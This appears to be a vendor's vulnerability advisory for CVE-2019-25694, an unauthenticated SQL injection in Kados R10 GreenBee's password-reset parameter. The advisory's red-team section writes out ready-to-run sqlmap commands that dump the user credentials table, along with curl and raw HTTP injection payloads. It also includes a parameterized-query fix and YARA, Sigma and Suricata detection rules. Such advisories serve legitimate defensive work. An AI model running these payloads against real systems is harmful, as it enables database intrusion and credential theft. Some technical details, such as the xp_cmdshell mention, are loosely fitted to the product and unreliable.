CVE-2019-25694
Executive Summary
CVE-2019-25694 is an unauthenticated SQL injection vulnerability in Kados R10 GreenBee, a product by Kados. The flaw exists in the user2reset parameter, allowing remote attackers to inject arbitrary SQL commands without authentication. This can lead to full database compromise, including extraction of sensitive data (e.g., user credentials, configuration secrets) and potential data modification. The vulnerability has a public proof-of-concept (PoC) but no official patch, making it a high-risk target for exploitation. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch means any exposed instance is vulnerable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded system (Kados R10 GreenBee), likely used in industrial or IoT environments. No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) – likely due to incomplete scoring; actual severity is high.
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Estimated CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Threat Level: Critical – unauthenticated remote SQL injection with no patch.
Deep Dive & Mechanics
The vulnerability resides in the user2reset parameter of the Kados R10 GreenBee web interface. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can send a crafted HTTP request (likely POST or GET) with malicious SQL payloads in the user2reset parameter. For example:
POST /reset_password HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
user2reset=admin' OR '1'='1
This payload would bypass authentication or extract data, depending on the query structure. The backend database (likely MySQL or PostgreSQL) executes the injected SQL, allowing attackers to:
- Dump tables (e.g.,
UNION SELECT). - Modify or delete records.
- Potentially escalate to OS command execution via
xp_cmdshellor similar if the database has extended privileges.
The vulnerability is unauthenticated, meaning no session or credentials are required. The lack of a patch means all versions of Kados R10 GreenBee are affected.
Vulnerable vs. Patched Code
Vulnerable Code (PHP/ASP example):
$user2reset = $_POST['user2reset'];
$query = "SELECT * FROM users WHERE username = '$user2reset'";
$result = mysqli_query($conn, $query);
Patched Code (Parameterized Query):
$user2reset = $_POST['user2reset'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $user2reset);
$stmt->execute();
$result = $stmt->get_result();
No official patch exists; the above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Kados R10 GreenBee with web interface exposed.
- SQLMap or manual SQL injection tools.
Step 1: Identify the vulnerable parameter.
sqlmap -u "http://target/reset_password" --data="user2reset=test" --batch --dbs
Step 2: Extract database tables.
sqlmap -u "http://target/reset_password" --data="user2reset=test" --batch -D kados_db --tables
Step 3: Dump user credentials.
sqlmap -u "http://target/reset_password" --data="user2reset=test" --batch -D kados_db -T users --dump
Manual PoC (curl):
curl -X POST "http://target/reset_password" -d "user2reset=admin' UNION SELECT 1,2,3,4,5-- -"
Blue Team (Defensive)
Detection:
- Monitor HTTP requests to
/reset_passwordwith unusualuser2resetvalues (e.g., containing SQL keywords likeUNION,SELECT,OR). - Use WAF rules to block SQL injection patterns.
- Deploy network IDS/IPS with signatures for SQLi.
Honeypot:
- Set up a fake Kados R10 GreenBee instance to capture attacker payloads.
Log Analysis:
- Check web server logs for
user2resetparameters containing',--,#,UNION,SELECT,OR,AND.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/reset_passwordwithuser2resetcontaining SQL syntax. - Outbound database traffic from the Kados device to unknown IPs (data exfiltration).
- HTTP POST requests to
- File IOCs:
- Modified database files (e.g.,
*.db,*.sql). - New files in web root (e.g., webshells).
- Modified database files (e.g.,
- Behavioral IOCs:
- Unusual database queries (e.g.,
UNION SELECT,LOAD_FILE). - High CPU/memory usage on the Kados device.
- Unusual database queries (e.g.,
Detection Engineering
YARA Rule
rule CVE_2019_25694_SQLi_Payload {
meta:
description = "Detects SQL injection payloads targeting CVE-2019-25694 in Kados R10 GreenBee"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25694"
strings:
$sqli1 = "user2reset=" nocase
$sqli2 = "' OR '" nocase
$sqli3 = "UNION SELECT" nocase
$sqli4 = "1=1" nocase
$sqli5 = "--" nocase
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: CVE-2019-25694 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against Kados R10 GreenBee user2reset parameter
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/reset_password'
cs-uri-query|contains: 'user2reset='
cs-uri-query|contains|all:
- "'"
- 'OR'
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of apostrophes in usernames (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25694 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/reset_password"; http_uri; content:"user2reset="; http_client_body; pcre:"/(\x27|%27).*(OR|UNION|SELECT)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Kados R10 GreenBee device from the internet (firewall rules).
- Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQLi patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Since no vendor patch exists, consider replacing the device with a patched alternative.
- If source code is available, implement parameterized queries (prepared statements) for all database interactions.
- Conduct a security audit of the entire application.
Workaround:
- Disable the password reset functionality if not needed.
- Restrict access to the web interface via VPN or IP whitelisting.
Valters IT – DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: F5953435E345FE3B4170C687] */}